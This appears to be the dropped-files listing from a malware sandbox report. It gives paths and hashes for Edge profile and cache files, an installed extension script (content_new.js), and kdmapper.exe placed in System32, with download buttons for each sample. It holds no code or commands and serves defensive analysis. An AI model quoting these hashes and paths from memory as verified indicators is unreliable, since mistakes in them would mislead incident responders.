Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 e1c8100425f7ca321d0ca2d70e6b842a5d98feed066d789370cca4e76e84952b
MD5 5744384f800e4160b447c6e34b499467
SHA1 f84d355ac59383f96ebcc0480166cb65507b5e59
SHA512 96ff635b763338090263baba341669d46ec263739e251851fec9e49a5960e0561efbd681b589ef2328eca68266ae442ed5bba2e7a4719a315794b543cfa3d8e9
SSDEEP 192:sxRsRkCKf/fdsfYnhZTF+3gzoA8ply/g6+WNpKpjih/eBGSoLCYiGaIgViawJ:sxRslKf/fdsfYnvZ+pg/5+k/etv2
TLSH
T18042B756A938993B5CCBD319BA25BF63D6F91032A1D05E48E7FC870C14EA6DD630740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 f6616410a569d8920433fc8ca0da7a0f44efccc8f639948675db6436bb3576e0
MD5 1c4fd25052d324155e9917f71fe4312b
SHA1 4255582db308694c8a67b9e0457c0db61bd66108
SHA512 43eeaab805fc26eb861b6be862df1062231ccda063c7d739187954c2ad04c952a969112ffcc60e9581ed01a2147a7430f677ff49db16cdd370bb273ed7a775ae
SSDEEP 192:sxRvRkCKf/fdsQYnhZTF+3gzoA8ply/g6+WNpKpjih/eBYSoLCYiGaIgD/iawJ:sxRvlKf/fdsQYnvZ+pg/5+k/ervU
TLSH
T18B42B656AA38993B4CCFD319BA55BB63D6F91032A1D05E48A7FC8B0C14EA6DD630740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 28b9ac5ec2c4f234f9ca7b1f640280d824c9152be2334fdf56660365fbd8109c
MD5 77c74b2a75435776cd5db9490a19fe90
SHA1 e69c1352c86767bdde6696fe290450aede6ba887
SHA512 54c43a19978449d4c0c3a5650753fe6603a9be049791dac71dc979515b973e58c85d8dcfdcdcf296021cd4bcd1de8aac3b6ecee0787e136098f717612f262ce7
SSDEEP 768:j26HRV7pLuLf6RWgs2fw28F1+UoAYDCx9Tuqh0VfUC9xbog/OV8ABVuw0ro9we0d:j26HRjEf6RWgs2fw2u1ja3AB4wf3O
TLSH
T167D2DB7B740DCABE4F800ADDEC19BE9F6D6802CB9698CD8047F9951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ed21dd02-819c-4d1c-9516-3bd302565b0b\index-dir\the-real-index
Size 360B
SHA256 ffa82a38a5ea7b544062ff652c855ebfcf663d5732b055819b7d8fefc4f283e5
MD5 92f84a7de950094daf2a9eab5082ed69
SHA1 1f5b062f653f2c7266e35fe13951c772adb2a2b9
SHA512 7c0dfa1cdf759497bbbd26364d0a947259b9375a25e150f7ebe7e4cf65d2cd6439c504f1438bdf204dca3f85a821ea3f38fb5de37c1fc03372e780c9a426c353
TLSH
T1B1E0EB4A9C930A07CA333C360733502E333F02FD2501AE1600FC002DAB12A3C420160A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5e0117.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ed21dd02-819c-4d1c-9516-3bd302565b0b\index-dir\the-real-index~RFe5e0117.TMP
Size 360B
SHA256 bcbca99caa3d8138b5f7fe358d3060c25d6d3ac109c950ea451186395767b11e
MD5 53c315951b201980d3a0686954346ad7
SHA1 afc70e27db2a608f6dc2e86fce4296fd1f05797f
SHA512 fe67cf2daa5256bced961dab6fd0f7180f23af5ce771fcfc27c610fd8d30cad8f9b08c6679074cf26dcf0d6b0ce434e1e0d3f6c29da621b74fa193258f42b36e
TLSH
T1E4E095DF40D15E62CD365D352913512E333F0C382905DA2B10DE985F1A327BC855560B
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 b493a796058089a8b2f99ea8ac675b5a7b29be2b6deb1661c6f8087f5beb83b4
MD5 4046490382344f26eeafbcd80ec181ea
SHA1 da0b104ad3f744185909fdabc80933eec76a835e
SHA512 85b709dd900f7a5998b1099eef01d3bfc1a38e3af6ec23e0f06ea65459f991e754d9345ad423ba80d9a27882f6bc5bcb3848c04b0452bb1ad4050d1751dffe56
TLSH
T158E0D8B22ED72820FCABA7F9147594A805417964D448AC8F251EA2C351F125278AAC61
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 b72bed043417985a75a2933161df146b1ed44ed0f0a7b46f4c4b38f4482b70c2
MD5 5545d39da6ba0c7d5c7233ac825675ae
SHA1 c81a01e750fb7eba0040fad760c5c57666a1cb0f
SHA512 8b5f51f5e04025f4dda957d5f262fa0c8c9f9229c3f064a23d8427efe20ebf1e118ce556c657814c955e1e15bff1c3560155f218ddbb91f128c0baf89f25113b
TLSH
T1ADD0A5A7F15501A0E7DE8B831571106F46602C8824D4D49D9D17D9297CB5543D152F55
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 cc18c00ce87b21862177c48296cdd2b34b73f2c7e91358146c2b5c3b31fa9854
MD5 af33c05b5b4cff4083978a0a2c70ecb5
SHA1 716631d5035a8528e3949605d330561994acad93
SHA512 6d5276f863696d04591af13831501f8f1ae1d7a22858bb0f9087f8d21588d20492ea69fbdcec59bd903a8806e73fce5a9cfe799025fc44028c9e9166b47e387c
TLSH
T1D1D0A5A7F14501A0F6DDCF811561103F8610388824E8949D6D17CD256D55553D153F55
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe596d56.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe596d56.TMP
Size 138B
SHA256 3380b46863db856f70d67f16c00a47653c903c55a1de8a8fdca502c2af321150
MD5 50ceaf0696496c0f343afbd33af580eb
SHA1 2c962f3a7801fbcb91dfe7146ad60b5a182e76c2
SHA512 a78cbabfc32ae1a0e6431ec7203a0d14cfe882fc9878eafc5f542de4a0f6508f3275e15cac09f963949e3f80de0c21a13d11c98055076e1a4cb1460ee2f0f233
TLSH
T11DC08CE3F1000121AA1847820222201A87042C8C18C5C48D642278242475E132202EE1
MD5 SHA1 SHA512 TLSH

Submit Download

domain_actions.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Domain Actions\3.0.0.18\domain_actions.dll
Size 83KB
SHA256 d35c8efcb710239f009633bcc5ae904ac6dafa985d451bedf791cf6909f014d4
MD5 956f610121cd5827fd5549097b79cd9f
SHA1 dbd23f99895a3a92fbe04c3c35d475a6f6998fd0
SHA512 3cc4712f64474497495d229ddd743c6bf25c30c3fbfca2525f46227d99a59a0f9e80e2119ffb40bc8a707b539f65f907e2e1565ea937e0387db47cf7269944e6
SSDEEP 1536:sNGnmI1FOxAdgxBf8paY3JQzQik428fKagFVbydki8yyafuzWk:sNG91FPgrfrPza428fIenya2Sk
TLSH
T16D83F180DF58411BF86F4835E0B269857A78E6B50FE092DF2376C9590E12FD1AF39705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a49db.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a49db.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 59242b9c845b85aacc1319dd51f4da324d25a019b894a6941b54dce687aa4c30
MD5 ad06d5cefbc7a1d55758bf828cd34249
SHA1 16205ceeed1449ce34ee05d74e96aacd7238ad2c
SHA512 ad3c6f20fe2885e1c93e142b858b2cc9fa403247c8d0da05e0d2928b075c17e3e67a1e84d9b3ae3f8c91ee89ef4a566d34dc62fbe92202f5a236a675233da38f
SSDEEP 768:uFQP3OwgZBVo++tK9UxsOWRZRFONXyer1IRCzni91b9MWe:FP3iKcSIqnub+We
TLSH
T1AB1327F594D78A36D8AE9393A33D2E42AEFCD067B5845980BBD55E0DCC8257FC30A805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 a4e3626d5beb585d375004a7302cce902fc3c17840b84a4aab26375adff5163d
MD5 a3aeeacb1dfb710ea2d0ad10754b3117
SHA1 b2cbe445bf654751961e561ea2de5fb6f9d6b61e
SHA512 399d60430e9f86c381cf49faf360599d35e5a8dd69d222d84584ed589d5f5cfe29d3973d035e2c68fc9ca7c148d5628c8aaee71c0023c4c150e2fd2f0dc4d3e4
SSDEEP 768:rM32VK9D/TBOWRZReONXyer1IRCzni91b9MWe:rM3b1eSIqnub+We
TLSH
T137F2BF35E8659E334CEAE392B14637927FF92067C5C44F50EAEA6F0D059396E130B41B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 fa6ab28af470cb0f9deb2904088f5a0a9d3539f54a9ad7a46b11aee804308ba3
MD5 f33151658a5795aed842e35de80bf879
SHA1 860acb645a8eae532e74d081c18647786b38bda2
SHA512 20c079c0c20199b2b1fe96778dcba9c479034b838fd0affa35a14b941ca4ea9f9b898ff961bc1680e869878039afd060cb898a846e376da8c8b6d20d8d6e59c5
SSDEEP 768:uM39PK9D/TBOWRZRfONXyer1IRCzni91b9MWe:uM3k1fSIqnub+We
TLSH
T109F2BF34E8659E334CAAA396B14637927FF92067C5C44F50EAEA6F0D059396E130F41B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 72468d24f17832df3ab9b5b2babab2366145f389e4e4a66eb75489463416f106
MD5 1db62c73659faef76b8a62aa78e823ac
SHA1 0d441cb88a1ccef82e3b393f8fedff87226b560c
SHA512 8cb1279f6792c7d717dfef2559b3a83d85eb4b6f5ba2c1b1922b13fdf42aedad410f1e5114941bd693258c7e259138e801a1aaddcd51b4f37e549252020a744a
SSDEEP 768:hrv+4UNbdz3R2/TBOWRZYONXyer1IRCzniBleVH1SK7:hbsbV3cmSIqnGEH1l
TLSH
T1A403BF36E4A89E338DE2A3C5B14777437FB86057C6800B90EDEA2F4E069B59D130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 ec596eb59cefdddca247954889bc86cdd25b63866a0197dd08b64e87138bc89e
MD5 d6d6d9a4f12a78df01a75217b10c0ca6
SHA1 1ae3c953d26281cc99ac76b3a32e61d932a05e89
SHA512 04c5ba9fc5b5b8f999042cce827bcba6484a04033bd9bd0f4c62e639d55a8cbc9efce1083dd968480d563290e6234e84203123b9db98119826e3f8c808ce7d2a
SSDEEP 768:8rv+4UNbdz37Kd/TBOWRZRBONXyer1IRCzni91eVH1SKk:8bsbV32dBSIqnuEH1m
TLSH
T13B03AE35E1A9DE334DE6A395B14772837FB8206BC5800B50EDDA2F4E069759E130F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 7ae3abeff1a7ac2b396b3e38dc9d2900c37a4fa3623cd6a74cdc34b502978149
MD5 d7023fa4d2528dc28cb0aaefeff697bf
SHA1 a9d914b66ca62916a33ca38b55ff971687cec7f8
SHA512 a12e587ee1c0f13ff6b3da22343b7611d6985799073cd0898decd626042b0e3a69747a3419b461a74ae1dee8d439eef7f39e61fafbf6bc2d3be40d501161b36b
TLSH
T13221FEE26D6E1AC2D1BE0EBFE0873AEC54D8D21AF1D4347A1888ED94923D91E154187F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 612B
SHA256 98d9b184e4c7220b5aaf7ae412b0c1b3f32e3dc4933afcf852538b8082017b9e
MD5 c20138f2b92ee0645ce99eebc563daa6
SHA1 8e20392ea25dec3d3cef957c8ebbe1a0c589ea3b
SHA512 151098a27cb44d715d48210b12b95a9d1341beb7ca1de3096edc0434ba70c3d274e446604c7692d7a4d92af7b41872166747a30fd452fd0279407a6993fc02c0
TLSH
T15DF00CD28C3E21C2C5EA0F7ED04B2AF884D46507F0887439088DEAD4C17A80F118247E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 732B
SHA256 a5548ca519cf47ecb420c8f1299a8a50517fa463459a704ef2ff17c4db35117a
MD5 b2c40634bbfa57be0d4fad8adfbd6ccb
SHA1 6f8b9ba2f40d9aa42d217ed2bc6dbcdedd1763ad
SHA512 3cfbef4e4a4a7d8fa1530c69ea34fbc3b84627888361a9d201b21e6ead15f5d4e51fea8bc95edd07415b6d2d06a3c19beb1bcea3195e05a6d8af4939b95f77b5
TLSH
T1220110D29C7E26C2C5AA0FBFD08B26EC44C4A516F098747A1CCCF9D4823980E148243E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 757c40068c8b44526fedddbae76f4ef49d46e6f99e9c5b6ac7daee04f31c52bc
MD5 d3c09492385327b4a73e8682955af55b
SHA1 240fab0985703fee85cf6f4073e03764bdb8aa5c
SHA512 09a4d78749d0d19904aa74f079fa2811f4b5de2b62305c89fc775606945a876578959e3f95cfb06258b2450dae9c4ed8a80ecdef86debcfb139ef6a47615ec6c
TLSH
T15A11F0D25D6D19C2C5BE0FAFE0877AFD40D8D216F194707A1888ED54427991E114147F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 2b7c607fd6a639934c6f7311f36aa760dd4a600f84b9f8e2d066832856488091
MD5 a36353281ee63c90e6d74b67255fe9ed
SHA1 f8aa66a70fe63c5f2aae1964243c68b3617d9c57
SHA512 9950368809a0ccd2b7cadae6c5ad4af6b981a19210a81b38ebe99aa0a683ffdc822d6bec67c6e4cf1ddbf1d47b71b7aeae4380c6552f5d5b6298fb649949ae69
TLSH
T1D3312FE25C2D1AC1D0BE0EEFE48B29EC84E8D216F19434392898ED94567D91E258087F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 852B
SHA256 142a7cc7a4933a976aae32a9d04e1758464486092207243f09edbbad51f1d934
MD5 95fe84d83629d03e0bc6e035f44a5cae
SHA1 2af304ef821c70f2d00b47a3e3872c17d33e40e7
SHA512 266ac6fd03731d757bebdacd0d27aa0326e022f9791d7892445f595285b17def95b722da875c974360a7567be530324d0d91a3310008958cbca0f09f04676301
TLSH
T14E0112D25C3D26C2C5BE0FBFD08776E844C4911AF19474BA1C8CE994827980E208243E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 21075672ed04fcc0ad86c96036a015a0479bc539f9eb22ed2ee07d5f51ed51d5
MD5 a8b716843d7c8f9dba996daed984824f
SHA1 0c96d6d123c2416eb76b7da62e37d23071beadb7
SHA512 5d339045c75561891f8b131b85aa5713a39f0c762a24cffd19d9577849262e259f66a06264e6b97d4d7a2b39170891003f4bfd55c6f8d31f9da107ab6548e117
TLSH
T1DE21F0E15C3D2AC1D1BE0EBFF0873AEC90D89216F5D4347A2898ED94823D91E158187F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 ae32d9950928870c88235c4c17204b62b83ed38c436c2dd65ff80e018454fd14
MD5 1242319dd708adac46dfcb9d40c77068
SHA1 dff7fdf5059dcaa1f995142f3980df184021fc44
SHA512 5d2bd511e97055ebc6b00ef355284a011fa67ec5483ad8ca69504713c30386e967955c27411472de128ed8661c16bd2a8289de30d9be2b75dc6ae33bcf2e2395
TLSH
T14B311FE15C3D1AD1D4BE0EFFA08B29FC84E8D216F594343A2898ED98567991E254087F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 972B
SHA256 590065152acec5cf42dffc28eb04749514feaa899eb2ae04edce7d38a148fbda
MD5 30ae49636160992413baf749cf492c9d
SHA1 93edd7244143177356c931699cb8a266bad04660
SHA512 b986d2486431c75ee9ea0acd7d891c2d40042dfe9185910eedc52db52d68de586df47518bb97647f325416a600eb0e7b794c9d5db9242f3417882791a266829e
TLSH
T11E1114D25C7E26C2D5BE0FBF90877AEC44C4D616F194347A1C88ED94417981E154147E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6416ab44-bfa7-42cb-b7f6-1e379e1d7183.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\6416ab44-bfa7-42cb-b7f6-1e379e1d7183.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

metadata.json~RFe598572.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json~RFe598572.TMP
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

9dcf528b-367a-43cb-9569-9527797f6628.tmp

Path C:\Users\Admin\AppData\Local\Temp\9dcf528b-367a-43cb-9569-9527797f6628.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1564_1183434184\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kdmapper.exe

Path C:\Windows\System32\kdmapper.exe
Size 150KB
SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
MD5 61e5aafec83b8c4d6b310dc54ed4c827
SHA1 fa0c68418265677b6d7ab4fe07a26340482dfb25
SHA512 7545ad1265c4871900357ecac0598a9db0fd8c627879726d9afe4b9344387df2270d761575de5c445503d2b859d50bd51f9c082fb96095186d9f3ab1ada5cc46
SSDEEP 3072:soRUjZEYLIDfVEDykwUmJTQSaMm5/6onTxIl4z:NUZEYLqf4jcWlTh
TLSH
T1D1E32A1797A5106EF1B7D6B9CAB24A11EB717C550B74D2CF135048BA0F22BD0BA3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1038449024\LICENSE
Size 1KB
SHA256 3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b
MD5 ee002cb9e51bb8dfa89640a406a1090a
SHA1 49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2
SHA512 d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c
TLSH
T17D31535723840B9306DA2B4566AEBDC4B0DDC02D7F27AE05186EF394537B52ED8B3443
MD5 SHA1 SHA512 TLSH

Submit Download